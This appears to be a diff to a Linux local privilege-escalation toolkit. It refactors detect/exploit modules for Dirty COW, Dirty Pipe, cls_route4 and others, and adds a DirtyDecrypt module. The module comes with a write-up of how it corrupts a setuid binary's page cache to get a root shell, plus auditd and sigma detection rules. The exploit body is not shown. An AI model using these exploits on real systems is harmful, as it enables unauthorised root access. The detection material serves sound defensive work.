* non-root fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
return SKELETONKEY_OK;
}
@@ -303,6 +306,34 @@ static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: unshare(CLONE_NEWUSER|CLONE_NEWNS) + cgroup v1
* mount are Linux-only kernel surface; the release_agent primitive is
* structurally unreachable elsewhere. Stub out cleanly so the module
* still registers and `--list` / `--detect-rules` work on macOS/BSD
* dev boxes and so the top-level `make` actually completes there. */
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] cgroup_release_agent: Linux-only module "
"(user_ns + cgroup v1 release_agent) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] cgroup_release_agent: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
static const char cgroup_ra_auditd[] =
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
@@ -40,9 +40,6 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -50,6 +47,14 @@
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
@@ -93,55 +98,46 @@ static bool cls_route4_module_available(void)
return found;
}
static int can_unshare_userns(void)
{
pid_t pid = fork();
if (pid < 0) return -1;
if (pid == 0) {
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
_exit(1);
}
int status;
waitpid(pid, &status, 0);
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] cls_route4: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug-introduction predates anything we'd reasonably scan; if the
* kernel is below the oldest LTS we model (5.4), still report
* vulnerable. */
bool patched = kernel_range_is_patched(&cls_route4_range, &v);
bool patched = kernel_range_is_patched(&cls_route4_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
/* Module + userns preconditions. */
bool nft_loaded = cls_route4_module_available();
int userns_ok = can_unshare_userns();
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v.release);
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v->release);
fprintf(stderr, "[i] cls_route4: cls_route4 module currently loaded: %s\n",
nft_loaded ? "yes" : "no (may autoload)");
fprintf(stderr, "[i] cls_route4: unprivileged user_ns + net_ns clone: %s\n",
userns_ok == 1 ? "ALLOWED" :
userns_ok == 0 ? "DENIED" : "could not test");
userns_ok ? "ALLOWED" : "DENIED");
}
/* If userns is locked down, unprivileged-LPE path is closed.
* Kernel still needs patching though report PRECOND_FAIL so the
* verdict isn't "VULNERABLE" but the issue isn't masked. */
if (userns_ok == 0) {
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
}
@@ -412,8 +408,6 @@ static long slab_active_kmalloc_1k(void)
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
* not a deterministic R/W. Same shape and same depth as xtcompat. */
#ifdef __linux__
struct cls_route4_arb_ctx {
/* msg_msg queues kept hot inside the userns child. The arb-write
* sprays additional kaddr-tagged payloads into these and re-fires
@@ -544,8 +538,6 @@ static int cls4_arb_write(uintptr_t kaddr,
return 0;
}
#endif /* __linux__ */
/* ---- Exploit driver ----------------------------------------------- */
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
@@ -555,7 +547,8 @@ static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] cls_route4: already root\n");
return SKELETONKEY_OK;
}
@@ -565,11 +558,6 @@ static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx
return SKELETONKEY_PRECOND_FAIL;
}
#ifndef __linux__
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
(void)ctx;
return SKELETONKEY_PRECOND_FAIL;
#else
/* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early no point doing
* the userns + tc + spray + trigger dance if we can't finish. */
@@ -782,7 +770,6 @@ static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx
}
return SKELETONKEY_EXPLOIT_FAIL;
}
#endif /* __linux__ */
}
/* ---- Cleanup ----------------------------------------------------- */
@@ -803,6 +790,34 @@ static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: cls_route4 / tc / netlink / msg_msg are
* Linux-only kernel surface; the route4 dead-UAF is structurally
* unreachable elsewhere. Stub out cleanly so the module still
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
* boxes and so the top-level `make` actually completes there. */
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] cls_route4: Linux-only module "
"(net/sched cls_route4 + msg_msg) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] cls_route4: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
static const char cls_route4_auditd[] =
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
"# Flag tc filter operations with route4 classifier from non-root.\n"
@@ -17,6 +17,7 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/host.h"
#include "src/common.h"
#include "src/copyfail.h"
@@ -33,10 +34,39 @@ static void apply_ctx(const struct skeletonkey_ctx *ctx)
dirtyfail_use_color = !ctx->no_color;
dirtyfail_active_probes = ctx->active_probe;
dirtyfail_json = ctx->json;
/* Forward the --i-know authorization gate. SKELETONKEY already
* blocks --exploit/--auto unless --i-know is passed, so by the time
* a DIRTYFAIL exploit callback runs, authorization is established.
* This lets typed_confirm() skip its (now redundant) interactive
* prompt, which otherwise deadlocks `skeletonkey --auto --i-know`. */
dirtyfail_assume_yes = ctx->authorized;
/* dirtyfail_no_revert is intentionally not driven from ctx —
* it's a debug knob; default stays off. */
}
/* Bridge-level userns precondition. The 4 dirty_frag siblings + the
* GCM variant all reach the bug via XFRM-ESP / AF_RXRPC paths gated on
* unprivileged user-namespace creation (the inner DIRTYFAIL detect
* checks for it too, but doing it here gives the dispatcher one
* testable point per module and short-circuits the heavier
* inner-detect work when the gate is closed). copy_fail itself uses
* AF_ALG which doesn't strictly need userns, so it bypasses this
* gate its inner detect still confirms the primitive empirically. */
static skeletonkey_result_t cff_check_userns(const char *modname,
const struct skeletonkey_ctx *ctx)
{
if (ctx->host && !ctx->host->unprivileged_userns_allowed) {
if (!ctx->json)
fprintf(stderr, "[i] %s: unprivileged user namespaces are "
"disabled (host fingerprint) — XFRM/RxRPC variant "
"unreachable here%s\n", modname,
ctx->host->apparmor_restrict_userns
? "; AppArmor restriction is on" : "");
return SKELETONKEY_PRECOND_FAIL;
}
return SKELETONKEY_OK;
}
/* ----- Family-wide --mitigate / --cleanup -----
*
* The family-wide mitigation (blacklist algif_aead + esp4 + esp6 + rxrpc,
@@ -148,6 +178,8 @@ const struct skeletonkey_module copy_fail_module = {
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
skeletonkey_result_t pre = cff_check_userns("copy_fail_gcm", ctx);
if (pre != SKELETONKEY_OK) return pre;
return (skeletonkey_result_t)copyfail_gcm_detect();
}
@@ -178,6 +210,8 @@ const struct skeletonkey_module copy_fail_gcm_module = {
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp", ctx);
if (pre != SKELETONKEY_OK) return pre;
return (skeletonkey_result_t)dirtyfrag_esp_detect();
}
@@ -208,6 +242,8 @@ const struct skeletonkey_module dirty_frag_esp_module = {
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
skeletonkey_result_t pre = cff_check_userns("dirty_frag_esp6", ctx);
if (pre != SKELETONKEY_OK) return pre;
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
}
@@ -238,6 +274,8 @@ const struct skeletonkey_module dirty_frag_esp6_module = {
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
{
apply_ctx(ctx);
skeletonkey_result_t pre = cff_check_userns("dirty_frag_rxrpc", ctx);
if (pre != SKELETONKEY_OK) return pre;
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
}
+14
View File
@@ -31,6 +31,7 @@ bool dirtyfail_use_color = true;
bool dirtyfail_active_probes = false;
bool dirtyfail_no_revert = false;
bool dirtyfail_json = false;
bool dirtyfail_assume_yes = false;
static void vlog(FILE *out, const char *prefix, const char *color,
const char *fmt, va_list ap)
@@ -226,6 +227,19 @@ size_t build_authenc_keyblob(unsigned char *out,
bool typed_confirm(const char *expected)
{
/* When the caller has already cleared an explicit authorization gate
* (SKELETONKEY's --i-know, forwarded via dirtyfail_assume_yes), the
* DIRTYFAIL typed prompt is redundant and would deadlock non-interactive
* runs like `skeletonkey --auto --i-know`. Auto-satisfy it.
*
* The SSH self-lockout guard (YES_BREAK_SSH) is deliberately exempt:
* it protects the operator's own access rather than gating
* authorization, so it always requires an interactive answer. */
if (dirtyfail_assume_yes && strcmp(expected, "YES_BREAK_SSH") != 0) {
log_step("confirmation gate '%s' auto-satisfied (--i-know)", expected);
return true;
}
char buf[128];
printf(" Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
fflush(stdout);
+8
View File
@@ -86,6 +86,14 @@ extern bool dirtyfail_no_revert;
* is redirected to stderr. Set by --json. */
extern bool dirtyfail_json;
/* When true, typed_confirm() auto-satisfies its gate instead of reading
* stdin the caller has already cleared an explicit authorization gate.
* SKELETONKEY's bridge layer sets this from skeletonkey_ctx.authorized
* (i.e. the --i-know flag) so non-interactive runs like
* `skeletonkey --auto --i-know` don't deadlock on the DIRTYFAIL prompt.
* The YES_BREAK_SSH self-lockout guard is exempt see typed_confirm(). */
extern bool dirtyfail_assume_yes;
void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
void log_ok (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
void log_bad (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
@@ -43,15 +43,19 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <stdatomic.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <stdatomic.h>
#include <fcntl.h>
#include <errno.h>
#include <pwd.h>
@@ -228,22 +232,27 @@ static void revert_passwd_page_cache(void)
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] dirty_cow: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
bool patched = kernel_range_is_patched(&dirty_cow_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v->release);
}
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
v.release);
v->release);
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
"/etc/passwd via /proc/self/mem\n");
}
@@ -258,7 +267,10 @@ static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
return pre;
}
if (geteuid() == 0) {
/* Consult ctx->host->is_root so unit tests can construct a
* non-root fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
return SKELETONKEY_OK;
}
@@ -318,6 +330,34 @@ static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: the Dirty COW primitive (writer thread via
* /proc/self/mem + madvise(MADV_DONTNEED)) is Linux-only kernel
* surface. Stub out cleanly so the module still registers and
* `--list` / `--detect-rules` work on macOS/BSD dev boxes and so
* the top-level `make` actually completes there. */
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] dirty_cow: Linux-only module "
"(/proc/self/mem + madvise race) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] dirty_cow: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* ---- Embedded detection rules ---- */
static const char dirty_cow_auditd[] =
@@ -32,7 +32,6 @@
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
* redefine here (warning: redefined). */
@@ -42,6 +41,11 @@
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h" /* used inside this block only */
#include "../../core/host.h"
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
@@ -254,22 +258,27 @@ static int dirty_pipe_active_probe(void)
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] dirty_pipe: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.8. */
if (v.major < 5 || (v.major == 5 && v.minor < 8)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 8, 0)) {
if (!ctx->json) {
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
v.release);
v->release);
}
return SKELETONKEY_OK;
}
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, v);
/* Active probe overrides version-only verdict when requested.
* The version check is necessary-but-not-sufficient: distros
@@ -284,7 +293,7 @@ static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
if (probe == 1) {
if (!ctx->json) {
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
"(version %s)\n", v.release);
"(version %s)\n", v->release);
}
return SKELETONKEY_VULNERABLE;
}
@@ -307,14 +316,14 @@ static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
if (patched_by_version) {
if (!ctx->json) {
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
"use --active to confirm empirically)\n", v.release);
"use --active to confirm empirically)\n", v->release);
}
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
" Confirm empirically: re-run with --scan --active\n",
v.release);
v->release);
}
return SKELETONKEY_VULNERABLE;
}
@@ -328,17 +337,20 @@ static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx
return pre;
}
/* Resolve current user. */
/* Resolve current user. Consult ctx->host->is_root for the
* already-root short-circuit so unit tests can construct a
* non-root fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
return SKELETONKEY_OK;
}
uid_t euid = geteuid();
struct passwd *pw = getpwuid(euid);
if (!pw) {
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
return SKELETONKEY_TEST_ERROR;
}
if (euid == 0) {
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
return SKELETONKEY_OK;
}
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
* with "0000" of identical width. Refuse if the user's UID width
@@ -407,6 +419,34 @@ static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: splice() / F_GETPIPE_SZ / posix_fadvise() are
* Linux-only kernel surface; the Dirty Pipe primitive is structurally
* unreachable elsewhere. Stub out cleanly so the module still
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
* boxes and so the top-level `make` actually completes there. */
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] dirty_pipe: Linux-only module "
"(splice + PIPE_BUF_FLAG_CAN_MERGE) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] dirty_pipe: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* Embedded detection rules — keep the binary self-contained so
* `skeletonkey --detect-rules --format=auditd` works without a separate
* data-dir install. */
@@ -0,0 +1,81 @@
# dirtydecrypt — CVE-2026-31635
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
> a vulnerable-kernel VM** — see _Verification status_ below.
## Summary
DirtyDecrypt (a.k.a. DirtyCBC) is a missing copy-on-write guard in
`rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function decrypts
incoming rxgk socket buffers **in place** before the HMAC is verified.
When the skb fragment pages are page-cache pages — spliced in via
`MSG_SPLICE_PAGES` over loopback — the in-place AES decrypt corrupts the
page cache of a read-only file.
It is a sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
(CVE-2026-43284 / 43500): same bug class, different kernel subsystem
(rxgk / AFS-style rxrpc encryption rather than algif_aead or xfrm-ESP).
## Primitive
Each `fire()`:
1. Adds an `rxrpc` security key holding a crafted rxgk XDR token.
2. Opens an `AF_RXRPC` client + a fake UDP server on loopback and
completes the rxgk handshake.
3. Forges a DATA packet whose **wire header comes from userspace** and
whose **payload pages come from the target file's page cache**
(`splice` + `vmsplice`).
4. The kernel decrypts the spliced page-cache pages in place — the HMAC
check then fails (expected), but the page cache is already mutated.
`pagecache_write()` drives a **sliding-window** technique: byte[0] of
each corrupted 16-byte AES block is uniformly random (≈1/256 chance of
the wanted value), and round _i+1_ at offset _S+i+1_ overwrites the
15-byte collateral of round _i_ without disturbing the byte round _i_
fixed. Net cost ≈ 256 fires per byte.
The exploit rewrites the first 120 bytes of a setuid-root binary
(`/usr/bin/su` and friends) with a tiny ET_DYN ELF that calls
`setuid(0)` + `execve("/bin/sh")`.
## Operations
| Op | Behaviour |
|---|---|
| `--scan` | Checks AF_RXRPC reachability + a readable setuid carrier. With `--active`, fires the primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
| `--exploit … --i-know` | Forks a child that corrupts the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
| `--cleanup` | Evicts the carrier from the page cache (`POSIX_FADV_DONTNEED` + `drop_caches`). The on-disk binary is never written. |
| `--detect-rules` | Emits embedded auditd + sigma rules. |
## Preconditions
- `AF_RXRPC` reachable (the `rxrpc` module loadable / built in).
- A readable setuid-root binary to use as the payload carrier.
- x86_64 (the embedded ELF payload is x86_64 shellcode).
## Verification status
This module is a **faithful port** of
<https://github.com/v12-security/pocs/tree/main/dirtydecrypt>, compiled
into the SKELETONKEY module interface. The **exploit body** has not
been validated end-to-end against a known-vulnerable kernel inside the
SKELETONKEY CI matrix.
**`detect()` is now version-pinned** against the mainline fix commit
[`a2567217ade970ecc458144b6be469bc015b23e5`][fix] (Linux 7.0): kernels
< 7.0 predate the vulnerable rxgk RESPONSE-handling code (Debian
tracker confirms older stable branches as <not-affected, vulnerable
code not present>), kernels ≥ 7.0 have the fix. With `--active`, the
detector runs the rxgk primitive against a `/tmp` sentinel and reports
empirically — catches pre-fix 7.0-rc kernels and any distro rebuilds
the version check misses.
[fix]: https://git.kernel.org/linus/a2567217ade970ecc458144b6be469bc015b23e5
**Before promoting to 🟢:** validate the exploit end-to-end on a 7.0-rc
kernel that pre-dates commit `a2567217ade…`. The Debian tracker entry
for CVE-2026-31635 is the source of truth for branch-backport
thresholds; extend the `kernel_range` table when distros publish
stable backports.
@@ -0,0 +1,47 @@
# NOTICE — dirtydecrypt
## Vulnerability
**CVE-2026-31635** — "DirtyDecrypt" / "DirtyCBC". Missing copy-on-write
guard in `rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function
calls `skb_to_sgvec()` then `crypto_krb5_decrypt()` with no
`skb_cow_data()`; the `krb5enc` AEAD template (`crypto/krb5enc.c`)
decrypts **in place** before verifying the HMAC. When the skb fragment
pages are page-cache pages (spliced in via `MSG_SPLICE_PAGES` over
loopback), the in-place decrypt corrupts the page cache of a read-only
file. The same pattern exists in rxkad (`rxkad_verify_packet_2`).
Sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
(CVE-2026-43284 / CVE-2026-43500) — all are page-cache write
primitives that abuse a missing COW boundary.
## Research credit
Discovered and reported by **Zellic** and the **V12 security** team.
Public proof-of-concept by **Luna Tong** ("cts" / "gf_256") of the
V12 security team.
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/dirtydecrypt>
The upstream PoC file (`poc.c`) carries no author, project, or
`LICENSE` header of its own — its header is a purely technical
description of the bug. The credit above is from the public
disclosure, not from the file. CVE-2026-31635 was assigned for the
flaw; its fix commit is not pinned in this module (see below).
## SKELETONKEY role
`skeletonkey_modules.c` is a port of the V12 PoC into the
`skeletonkey_module` interface. The exploit primitive — the
`fire()` / `pagecache_write()` sliding-window machinery, the rxgk XDR
token builder, the 120-byte ET_DYN ELF payload — is reproduced from
that PoC. SKELETONKEY adds the detect/cleanup lifecycle, an `--active`
sentinel probe, `--no-shell` support, and the embedded detection
rules. Research credit belongs to the people above.
## Verification status
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
The CVE-2026-31635 fix commit is not yet pinned in this module, so
`detect()` does not perform a kernel-version patched/vulnerable
verdict — see `MODULE.md`.
@@ -0,0 +1,28 @@
# DirtyDecrypt (CVE-2026-31635) — auditd detection rules
#
# The rxgk in-place decrypt corrupts the page cache of a read-only
# file. These rules flag the syscall surface the exploit drives and
# writes to the setuid binaries it targets.
#
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
# skeletonkey --detect-rules --format=auditd | sudo tee \
# /etc/audit/rules.d/99-skeletonkey.rules
# Modification of common payload carriers / credential files
-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt
-w /bin/su -p wa -k skeletonkey-dirtydecrypt
-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt
-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt
-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt
-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt
-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt
# AF_RXRPC socket creation (family 33) — core of the rxgk trigger
-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc
# rxrpc security keys added to the process keyring
-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key
# splice() drives page-cache pages into the forged DATA packet
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice
@@ -0,0 +1,32 @@
title: Possible DirtyDecrypt exploitation (CVE-2026-31635)
id: 7c1e9a40-skeletonkey-dirtydecrypt
status: experimental
description: |
Detects the file-modification footprint of the rxgk page-cache write
(DirtyDecrypt / DirtyCBC, CVE-2026-31635): non-root creation of
AF_RXRPC sockets followed by modification of a setuid-root binary or
a credential file.
references:
- https://github.com/v12-security/pocs/tree/main/dirtydecrypt
logsource:
product: linux
service: auditd
detection:
modification:
type: 'PATH'
name|startswith:
- '/usr/bin/su'
- '/bin/su'
- '/usr/bin/mount'
- '/usr/bin/passwd'
- '/usr/bin/chsh'
- '/etc/passwd'
- '/etc/shadow'
not_root:
auid|expression: '!= 0'
condition: modification and not_root
level: high
tags:
- attack.privilege_escalation
- attack.t1068
- cve.2026.31635
@@ -0,0 +1,963 @@
/*
* dirtydecrypt_cve_2026_31635 SKELETONKEY module
*
* DirtyDecrypt / DirtyCBC (CVE-2026-31635) missing copy-on-write guard
* in rxgk_decrypt_skb() (net/rxrpc/rxgk_common.h). rxgk_decrypt_skb()
* does skb_to_sgvec() + crypto_krb5_decrypt() with no skb_cow_data();
* the krb5enc AEAD template decrypts in-place BEFORE verifying the HMAC.
* When skb frag pages are page-cache pages (spliced in via
* MSG_SPLICE_PAGES over loopback), the in-place decrypt corrupts the
* page cache of a read-only file. Sibling of Copy Fail / Dirty Frag.
*
* This module is a faithful port of the public V12 security PoC
* (rxgk pagecache write, github.com/v12-security/pocs/dirtydecrypt,
* Luna Tong / "cts"). The exploit primitive (the sliding-window
* fire()/pagecache_write() machinery, the rxgk XDR token builder, the
* 120-byte ET_DYN ELF) is reproduced from that PoC; see NOTICE.md.
*
* Port adaptations vs. the standalone PoC:
* - wrapped in the skeletonkey_module detect/exploit/cleanup interface
* - exploit() runs the PoC body in a forked child so the PoC's
* exit()/die() paths cannot tear down the skeletonkey dispatcher
* - honours ctx->no_shell (corrupt + verify, do not spawn the shell)
* - adds an --active sentinel probe that fires the primitive against
* a disposable /tmp file instead of a setuid binary
* - the on-disk binary is never written; cleanup() evicts the page
* cache (the corruption is a page-cache-only write)
*
* VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
* vulnerable-kernel VM. The fix commit for CVE-2026-31635 is not yet
* pinned in this module, so detect() does not do a version-based
* patched/vulnerable verdict see detect() and MODULE.md.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/utsname.h>
#ifdef __linux__
/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
* Makefile; do not redefine here (warning: redefined). */
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <time.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <netinet/in.h>
